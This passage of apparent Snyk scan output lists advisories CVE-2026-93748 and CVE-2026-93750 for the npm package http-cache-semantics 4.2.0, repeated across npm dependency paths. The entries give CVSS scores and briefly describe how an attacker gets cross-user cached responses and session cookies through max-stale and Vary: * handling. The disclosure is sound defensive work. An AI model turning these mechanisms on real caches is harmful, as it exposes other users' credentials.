"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"pacote@22.0.0",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpublish@12.0.1",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"libnpmpublish@12.0.1",
"sigstore@5.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
